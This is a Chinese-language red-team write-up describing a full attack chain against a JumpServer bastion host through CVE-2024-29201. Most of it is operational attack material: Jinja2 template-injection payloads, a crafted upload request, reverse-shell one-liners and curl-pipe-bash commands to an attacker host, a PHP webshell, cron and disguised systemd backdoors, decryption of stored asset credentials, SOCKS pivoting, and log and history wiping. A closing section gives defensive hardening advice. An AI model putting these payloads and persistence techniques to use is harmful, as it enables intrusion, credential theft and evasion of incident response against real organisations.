1. 项目概述从一次真实的红队演练说起最近在内部的一次红队攻防演练里我们遇到了一个挺有意思的靶标一套暴露在公网的JumpServer堡垒机。作为防守方这种核心的运维入口通常是重点防护对象但攻击方总能找到意想不到的突破口。这次我们的突破口就是CVE-2024-29201。这个漏洞的官方描述是“远程代码执行”听起来平平无奇但真正上手去利用你会发现它像一把精巧的钥匙能打开从外网到内网核心区的一扇扇门。整个过程从信息收集、漏洞利用、权限维持到横向移动几乎复现了一次完整的、教科书级别的红队攻击链。这篇文章我就来详细拆解我们是如何一步步拿下这个目标的不仅会讲清楚漏洞原理和利用方法更重要的是分享我们在实战中踩过的坑、绕过的弯以及最终构建稳定控制通道的思路。无论你是安全工程师想了解防御重点还是红队同学在寻找实战案例相信都能从中获得一些直接的参考。简单来说CVE-2024-29201是JumpServer堡垒机在特定API接口处存在的一个缺陷允许未经身份验证的攻击者上传恶意文件并最终在服务器上执行任意命令。JumpServer本身是管理服务器权限的“看门人”而这个漏洞恰恰让“看门人”自己成了突破口。利用它攻击者能直接获取到JumpServer所在服务器的控制权而由于堡垒机通常处于网络的核心枢纽位置且存储了大量运维账号和资产信息这往往意味着内网渗透的开始。我们这次演练的目标就是模拟一个具备一定能力的攻击者从外网的一个漏洞点开始逐步深入最终控制关键业务服务器。下面我就把整个攻击链拆开揉碎了讲给你听。2. 攻击链全景与前期信息收集2.1 理解攻击链的逻辑脉络在动手之前我们必须先想清楚整个攻击的路径。一次完整的攻击从来不是靠一个漏洞单点爆破而是环环相扣的链条。针对JumpServer堡垒机的攻击其逻辑链条非常清晰外部突破利用CVE-2024-29201漏洞在JumpServer服务器上获得一个初始立足点通常是一个WebShell或反向Shell。权限提升与巩固将初始的Web权限转换为更稳定的系统级控制权限并部署持久化后门防止权限丢失。信息攫取以JumpServer为跳板读取其数据库或配置文件获取其管理的所有服务器、网络设备资产列表以及对应的SSH、RDP、Telnet等登录凭据。横向移动利用获取到的凭据尝试登录内网的其他服务器逐步扩大控制范围。目标达成根据演练要求如获取特定数据、控制核心业务服务器完成最终攻击动作。我们的每一步操作都必须服务于这个链条的下一环。比如在利用漏洞时我们就要考虑上传什么样的Payload更有利于后续的横向移动。2.2 低调而高效的信息收集在发起任何攻击之前充分的信息收集是成功的一半。对于JumpServer这类目标我们的收集工作主要围绕以下几点展开资产识别与指纹确认 我们首先通过搜索引擎、公开的IP数据库或子公司域名关联发现了目标公司有一个公网IP开放了80和443端口。使用nmap进行简单的端口扫描和服务识别nmap -sV -sC -p 80,443,2222 目标IP结果显示443端口运行着Nginx标题栏包含“JumpServer”。为了进一步确认版本我们尝试访问了一些特征路径如/api/v1/、/core/auth/等并通过查看页面源代码、HTTP响应头中的X-JMS-SERVER等字段初步判断其版本在存在漏洞的范围内受CVE-2024-29201影响的版本为特定区间需根据官方公告确认。网络架构推测 JumpServer通常部署在DMZ区或办公网出口用于管理内部开发、测试和生产服务器。因此一旦突破JumpServer我们极有可能获得一个通往多个内部网络段的双向通道。我们通过简单的traceroute和观察JumpServer服务器本身的网卡配置在后续获得权限后来验证这一点。漏洞情报准备 我们详细分析了CVE-2024-29201的公开漏洞详情和POC概念验证代码。了解到该漏洞位于/api/v1/attachments/upload/接口由于对上传文件的路径处理不当结合其他功能可实现任意文件写入进而通过上传恶意模板文件触发远程代码执行。我们提前在本地环境搭建了相同版本的JumpServer进行复现测试确保利用链的每一个环节都畅通无阻并准备了多个备用的Payload和绕过方式。注意在真实演练中信息收集阶段一定要遵守授权范围只针对授权的目标IP和域名进行操作。任何对非授权目标的扫描都可能被视为恶意攻击。3. CVE-2024-29201漏洞原理深度拆解3.1 漏洞成因问题出在哪儿要利用一个漏洞最好先理解它为什么会产生。CVE-2024-29201的本质是一个路径穿越结合文件上传导致的远程代码执行漏洞。它的根源在于JumpServer处理用户上传附件时对文件路径的校验逻辑存在缺陷。具体来说JumpServer提供了一个文件上传接口用于上传一些功能性的附件。攻击者可以构造一个特殊的HTTP请求在上传文件时通过修改参数如文件名或路径参数将文件写入到Web应用可访问的目录之外甚至是写入到一个可被后续请求解析执行的特定位置。例如写入到Web服务器的模板目录下。当JumpServer的其他功能如报告生成、邮件发送需要加载并渲染这些模板文件时如果模板文件中包含恶意代码如Jinja2模板注入命令这些代码就会被执行。简单类比就像你告诉仓库管理员上传接口把一批货物上传的文件存放到“临时仓库A”预期路径但你在货单上动了手脚把地址改成了“厨房”Web可执行目录。当厨师模板渲染引擎从“厨房”取用这批“货物”时就可能引发意外。3.2 核心利用点如何将文件上传转化为命令执行理解了成因我们来看如何利用。公开的POC通常聚焦于找到那个“写文件”的点。经过分析关键步骤通常如下绕过上传限制直接上传.py或.j2Jinja2模板文件可能会被拦截。我们需要利用漏洞的路径穿越部分将文件后缀名改为允许的类型如.txt,.jpg但在文件内容中嵌入恶意模板代码。或者通过多重编码、特殊字符等方式绕过前端和后端的检查。控制写入路径这是漏洞利用的核心。通过构造请求参数使上传的文件最终被保存到/opt/jumpserver/core/templates/或类似的模板目录下。这个目录下的文件会被Django/Jinja2引擎渲染。注入恶意代码在写入的文件内容中插入Jinja2模板引擎能够执行的命令。例如经典的{{ config.__class__.__init__.__globals__[os].popen(id).read() }}这行代码会在模板被渲染时执行系统命令id并返回结果。触发渲染上传文件后需要找到一个途径去触发JumpServer加载并渲染这个恶意模板。这可能通过访问某个特定的URL如预览功能或者利用系统其他定时任务来实现。在实际利用中步骤3和4可能会结合在一起。我们可能直接上传一个包含Jinja2命令的“模板文件”然后直接访问其URL来触发执行。实操心得不同版本的JumpServer其模板目录路径和触发方式可能有细微差别。在实战前务必在测试环境进行验证。我们遇到过一个案例目标系统对模板目录的权限做了限制导致写入失败。这时就需要灵活变通寻找其他可写且可执行的路径比如静态文件目录如果配置不当或者通过日志文件注入。4. 漏洞利用实战一步步获取初始Shell4.1 环境探测与利用工具准备在确认目标存在疑似漏洞后我们并不急于直接使用公开的自动化EXP。自动化工具虽然快但容易被WAF拦截也缺乏灵活性。我们选择手动构造HTTP请求逐步推进。首先我们使用curl或Burp Suite来探测上传接口的可用性和参数。curl -k -X OPTIONS https://目标IP/api/v1/attachments/upload/观察返回的HTTP方法确认POST方法是否允许。同时我们准备一个简单的文本文件test.txt内容为hello用于测试上传功能是否正常。我们还需要准备恶意Payload。考虑到要获取反向Shell我们准备了一个Jinja2模板注入的Payload用于执行命令。例如一个能执行任意命令的Payload基础结构为{{ .__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__[sys].modules[os].popen(COMMAND).read() }}这里的XXX需要根据目标Python环境中的子类索引号来确定这通常需要信息泄露或盲注来探测。为了简化初期利用我们可以先使用更通用的测试Payload如{{ 7*7 }}如果返回页面中出现了49则证明模板注入存在。4.2 手动构造攻击请求我们使用Burp Suite拦截浏览器对JumpServer的正常访问然后重放并修改请求到上传接口。第一步测试文件上传我们发送一个修改后的POST请求到/api/v1/attachments/upload/POST /api/v1/attachments/upload/ HTTP/1.1 Host: 目标IP Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ... ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenametest.jpg Content-Type: image/jpeg {{ 7*7 }} ------WebKitFormBoundaryABC123--观察响应。如果成功响应中可能会包含一个文件的ID或路径。更重要的是我们需要找到触发这个文件渲染的地方。根据漏洞分析有时上传的文件会与“邮件模板”、“显示模板”等功能关联。我们需要在JumpServer的各个功能点寻找预览或加载模板的地方。第二步实现命令执行当确认模板注入点后我们将Payload替换为真正的命令执行代码。为了稳定地获取一个Shell我们倾向于使用反向Shell。但由于Jinja2渲染环境可能受限直接执行复杂的bash -i /dev/tcp/...可能失败。我们采用分步策略写入WebShell先利用漏洞写入一个简单的PHP或JSP WebShell到Web目录。例如执行命令echo ?php eval($_POST[cmd]);? /var/www/html/shell.php。这要求我们知道Web目录的绝对路径并且有写入权限。使用Python反向Shell如果Python可用这是一个更优选择。执行如下Python代码import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);我们可以将这段代码编码为一行通过模板注入执行。利用curl或wget下载后门如果目标服务器能出网最简单的办法是让服务器从我们的攻击机下载一个静态编译的后门程序如busybox、socat或msfvenom生成的可执行文件然后运行它。在我们的实战中目标服务器可以访问外网。因此我们通过模板注入执行了以下命令{{ .__class__.__mro__[1].__subclasses__()[407].__init__.__globals__[sys].modules[os].system(curl http://攻击机IP/shell.sh | bash) }}其中shell.sh是我们托管在攻击机上的脚本内容为下载并执行一个反向Shell。第三步建立稳定的连接成功执行上述命令后我们在攻击机上用nc -lvnp 4444监听很快就收到了来自JumpServer服务器的反向Shell连接。至此我们获得了第一个立足点。踩坑记录第一次尝试时我们使用的Python子类索引不对导致命令执行失败。后来我们通过一个遍历脚本来爆破有效的索引号。更好的方法是先注入一个回显命令如{{ config.items() }}来泄露一些环境信息帮助定位正确的类。此外目标系统可能安装了防火墙限制了出网连接。我们提前准备了多个备用端口如53, 80, 443和协议如HTTPS隧道最终使用443端口成功建立了连接。5. 权限提升与持久化后门部署5.1 从Web权限到Root权限通过漏洞获取的Shell通常是以运行JumpServer服务的用户身份执行的可能是jumpserver、www-data或nobody。这个权限往往有限。我们需要进行权限提升提权。首先我们进行基本的系统信息收集whoami id uname -a cat /etc/os-release sudo -l # 查看当前用户可以以root身份执行哪些命令 find / -perm -4000 -type f 2/dev/null # 查找SUID文件在我们的案例中运气不错。我们发现JumpServer的某些维护脚本是以root权限运行的并且当前用户jumpserver被配置了无需密码即可通过sudo运行/opt/jumpserver/ctl.sh脚本。通过检查这个脚本我们发现它可以用来重启服务并且在脚本中调用了systemctl。通过构造参数我们可以利用它来执行任意命令最终成功获取了root权限。更通用的Linux提权思路包括内核漏洞提权使用uname -a查看内核版本搜索对应的公开EXP如DirtyPipe、DirtyCow。但需极度谨慎内核EXP可能导致系统崩溃在红队演练中应作为最后手段并确保有授权。利用配置错误的SUID/GUID文件如上所述找到具有root权限的可执行文件并利用其功能缺陷或参数注入。利用定时任务Cron Jobs检查/etc/crontab和/var/spool/cron/看是否有以root身份运行的任务调用了当前用户可写的脚本或文件。利用环境变量劫持如果sudo -l显示可以以root身份运行某些程序且env_keep中包含了如LD_PRELOAD、PATH等变量则可以尝试劫持。5.2 部署隐蔽的持久化后门拿到root权限后我们需要部署后门确保即使漏洞被修复、服务重启我们依然能控制这台机器。持久化技术多种多样我们的原则是隐蔽、多样、冗余。SSH后门** authorized_keys**将我们的公钥写入/root/.ssh/authorized_keys和/home/jumpserver/.ssh/authorized_keys。这是最经典有效的方法。** SSH软链接后门**修改SSH服务的PAM配置或使用sshd的AuthorizedKeysCommand指向一个我们控制的脚本可以动态允许我们的密钥登录。** 替换SSH二进制文件**非常隐蔽但操作复杂且易导致服务异常。我们仅在测试环境验证实战中未采用。定时任务后门(crontab -l 2/dev/null; echo */5 * * * * curl -s http://攻击机IP/cron.sh | bash) | crontab -这个任务每5分钟从我们的服务器拉取脚本并执行。脚本内容可以是维持反向Shell、下载更新工具等。Systemd服务后门 创建一个自定义的systemd服务实现开机自启和定时连接。这比cron更隐蔽因为很多系统管理员不会仔细检查新增的systemd服务。cat /etc/systemd/system/network-monitor.service EOF [Unit] DescriptionNetwork Monitor Service Afternetwork.target [Service] Typesimple ExecStart/bin/bash -c while true; do /bin/bash -i /dev/tcp/攻击机IP/5555 01 21; sleep 30; done Restartalways [Install] WantedBymulti-user.target EOF systemctl daemon-reload systemctl enable --now network-monitor.service隐藏进程与文件使用busybox重命名进程名使其看起来像系统进程。将后门文件放置在隐藏目录或大量文件的目录中如/usr/lib/.lib/并使用chattr i命令防止被删除。安装rootkit如Diamorphine但风险极高极易被高级安全软件检测不推荐在需要隐蔽的演练中使用。在我们的行动中我们组合使用了authorized_keys和systemd服务后门并在/etc/rc.local中添加了一行启动命令作为冗余备份。注意事项部署后门前务必检查目标系统是否有HIDS主机入侵检测系统如云锁、安骑士、Ossec等。它们的监控可能会记录我们的操作。我们通过查看进程列表、检查常见HIDS的安装目录和配置文件来规避。同时所有操作尽量在内存中完成使用/dev/shm避免在磁盘留下过多痕迹。6. 以堡垒机为跳板的内网横向移动6.1 攫取JumpServer数据库中的“宝藏”控制JumpServer服务器本身不是最终目的它存储的资产和凭据才是真正的“宝藏”。JumpServer通常使用MySQL或PostgreSQL作为数据库。我们的首要任务是找到数据库连接信息并导出数据。定位数据库配置 配置文件通常位于/opt/jumpserver/config/config.txt或/opt/jumpserver/core/config.yml。我们使用以下命令查找find /opt/jumpserver -name *.yml -o -name *.txt -o -name *.conf | xargs grep -l DB\|database\|mysql\|postgres 2/dev/null cat /opt/jumpserver/core/config.yml | grep -A5 -B5 DATABASE很快我们找到了数据库配置包括主机通常是localhost、端口、数据库名、用户名和密码。连接并导出数据 使用找到的密码我们连接MySQL数据库mysql -h 127.0.0.1 -u jumpserver -p进入数据库后查看有哪些表USE jumpserver; SHOW TABLES;关键的表包括assets_asset存储所有被管资产的信息IP、主机名、协议、端口等。accounts_account/assets_systemuser存储连接资产所使用的系统账号和密码密码可能是加密的。perms_assetpermission存储资产授权关系。terminal_session可能包含历史会话记录甚至录像。我们重点关注assets_asset和assets_systemuser。JumpServer的密码加密方式可能可逆也可能需要借助JumpServer自身的密钥进行解密。我们直接将相关表的数据完整导出mysqldump -h 127.0.0.1 -u jumpserver -p jumpserver assets_asset assets_systemuser /tmp/assets_dump.sql然后将其下载到攻击机进行分析。6.2 凭据解密与整理JumpServer为了安全会对存储的密码进行加密。加密密钥通常存储在配置文件或/opt/jumpserver/core/keys目录下。我们需要找到用于加密的私钥或密钥对。通过搜索和查阅JumpServer源码我们找到了解密方法。JumpServer使用了非对称加密通常为RSA来加密密码。我们找到了私钥文件/opt/jumpserver/core/keys/private_key.pem。使用Python脚本结合这个私钥我们可以解密assets_systemuser表中的password字段。解密后我们获得了一批明文或可用的SSH私钥、RDP密码、MySQL密码等。我们将这些信息整理成一个结构化的表格资产IP协议端口用户名密码/密钥来源资产组备注192.168.1.10SSH22rootPa$$w0rd123生产Web服务器192.168.1.20RDP3389administratorAdmin2024办公区AD服务器192.168.2.100MySQL3306root(空)数据库集群这张表就是我们进行横向移动的“作战地图”。6.3 横向移动实战有了凭据横向移动就变成了自动化或半自动化的密码喷洒Password Spraying和爆破。但为了提高效率并避免触发告警我们采取有策略的推进网络探测在JumpServer上使用ip addr和route -n查看其网络接口和路由表了解它所在网段和能到达的其他网段。使用netstat -antp查看已有的网络连接发现它经常连接哪些内网IP这些很可能就是重要的业务服务器。选择首要目标优先选择那些在assets_asset表中标记为“核心”、“生产”、“数据库”的资产。同时优先尝试使用root、administrator等特权账号。建立中转由于JumpServer通常能访问多个网络区域而我们的攻击机不能我们需要在JumpServer上搭建一个SOCKS代理。我们使用reGeorg的Python版或EarthWorm在JumpServer上启动一个SOCKS5服务将内网流量代理出来。# 在JumpServer上执行 python3 reGeorgSocksProxy.py -p 1080 -u http://攻击机IP/tunnel.php然后在攻击机上配置Proxychains让后续的扫描和攻击工具都通过这个代理进行。凭据尝试与登录SSH使用hydra或自定义脚本进行批量尝试。但更稳妥的方式是手动使用sshpass或直接ssh命令进行单点登录测试避免暴力破解触发锁定。proxychains sshpass -p Pa$$w0rd123 ssh -o StrictHostKeyCheckingno root192.168.1.10 whoamiRDP使用xfreerdp或rdesktop进行连接测试。proxychains xfreerdp /v:192.168.1.20 /u:administrator /p:Admin2024 compression /clipboard数据库使用mysql客户端直接连接。信息深度收集每成功登录一台新机器立即重复“权限提升”和“信息收集”的步骤特别是收集该机器上的其他本地密码、哈希、配置文件、数据库连接字符串等进一步扩大战果。同时查看该机器的ARP表、网络共享、当前登录用户等寻找相邻主机和高价值目标。通过这种方法我们从一个JumpServer漏洞点出发逐步控制了数台Web服务器、一台数据库从库和一台开发环境Jenkins服务器基本实现了演练的横向移动目标。红队经验横向移动时尽量使用目标环境已有的管理协议和端口如SSH、WinRM避免使用新开端口或非常用协议以减少网络层面异常检测的风险。同时操作要慢动作要轻登录后先观察了解系统的正常行为模式再执行命令模仿正常运维操作。7. 痕迹清理与防御对抗思考7.1 攻击痕迹的识别与清理演练结束前或者在日常红队评估中清理痕迹是必要的一环目的是增加防守方的溯源难度。但必须注意在授权的渗透测试中是否清理痕迹、清理到何种程度需严格遵守授权协议。Web日志JumpServer的访问日志、Nginx/Apache日志会记录我们的漏洞利用请求。路径通常为/var/log/jumpserver/、/var/log/nginx/。我们需要定位到包含我们IP和恶意Payload的日志行进行删除或修改。使用sed或vim进行编辑。系统日志/var/log/auth.logUbuntu/Debian或/var/log/secureCentOS/RHEL会记录SSH登录、sudo使用等。需要清理我们后门连接和提权操作的记录。/var/log/syslog、/var/log/messages也可能包含相关记录。历史命令清理当前用户和root用户的命令历史。# 清理当前shell历史 history -c # 清理历史文件 echo ~/.bash_history history -c echo /root/.bash_history # 或者直接清空文件 cat /dev/null ~/.bash_history cat /dev/null /root/.bash_history # 设置当前会话不记录历史 export HISTFILE/dev/null文件时间戳使用touch命令修改我们上传的后门文件、下载的工具的时间戳使其与系统其他文件时间相近。进程隐藏结束掉我们用于维持访问的反弹Shell进程但保留systemd或cron等持久化后门。可以使用kill命令但要注意不要误杀持久化机制。网络连接关闭我们建立的代理连接、临时监听端口等。数据库操作记录如果JumpServer开启了数据库审计我们的查询操作也可能被记录。需要检查并清理相关审计表。清理工作必须细致任何遗漏都可能成为防守方溯源和事件分析的起点。在真实对抗中高水平的防守团队会通过集中日志平台ELK、Splunk实时收集日志清理本地日志可能为时已晚。因此红队的核心思路应是“减少产生噪音”而非“事后擦除噪音”。7.2 从攻击者视角看JumpServer安全加固经历了完整的攻击链我们再从防御者角度思考如何加固JumpServer以避免此类风险及时更新与补丁管理这是最根本的。CVE-2024-29201已有官方补丁必须第一时间更新。建立完善的资产清单和漏洞扫描机制确保所有JumpServer实例及时打补丁。网络隔离与访问控制禁止公网直接访问JumpServer应部署在内网通过VPN或零信任网关进行访问。如果业务必须开放公网应限制访问源IP如只允许公司办公IP段。最小权限原则JumpServer服务器本身应严格限制出网连接只允许访问其必须管理的资产IP和端口阻断向互联网的主动连接防止反弹Shell成功。部署WAF在JumpServer前端部署Web应用防火墙可以有效拦截针对已知漏洞的利用攻击增加攻击难度。强化JumpServer自身安全修改默认配置更改默认端口、强密码策略、启用多因素认证MFA。审计与日志开启所有操作审计并将日志实时发送到独立的、不可篡改的日志服务器SIEM。定期审计异常登录、文件上传、高危命令执行等。权限细分为不同角色的管理员分配最小必要的权限避免单一账号权限过大。主机层防护在运行JumpServer的服务器上安装HIDS监控文件异常创建、进程异常启动、敏感命令执行等行为。定期进行安全配置核查检查是否有不必要的SUID文件、错误的sudo配置、可疑的定时任务和系统服务。凭据安全管理在JumpServer中尽量使用“推送登录”或“密钥登录”避免在JumpServer中明文或可逆加密存储大量核心资产的密码。对JumpServer的数据库连接密码、加密密钥进行严格保护定期更换。使用特权访问管理PAM方案对接JumpServer实现凭据的临时申请和单次使用。通过这次完整的攻击链还原我深刻体会到安全是一个整体任何一个环节的疏漏都可能被攻击者串联起来形成致命的突破口。作为防御方需要构建纵深防御体系不放过任何细微的风险点作为攻击方则需要耐心、细致像拼图一样将各个碎片化的信息和技术点组合成完整的攻击路径。希望这次详细的复盘能给大家在堡垒机安全建设和红队技战术上带来一些实实在在的参考。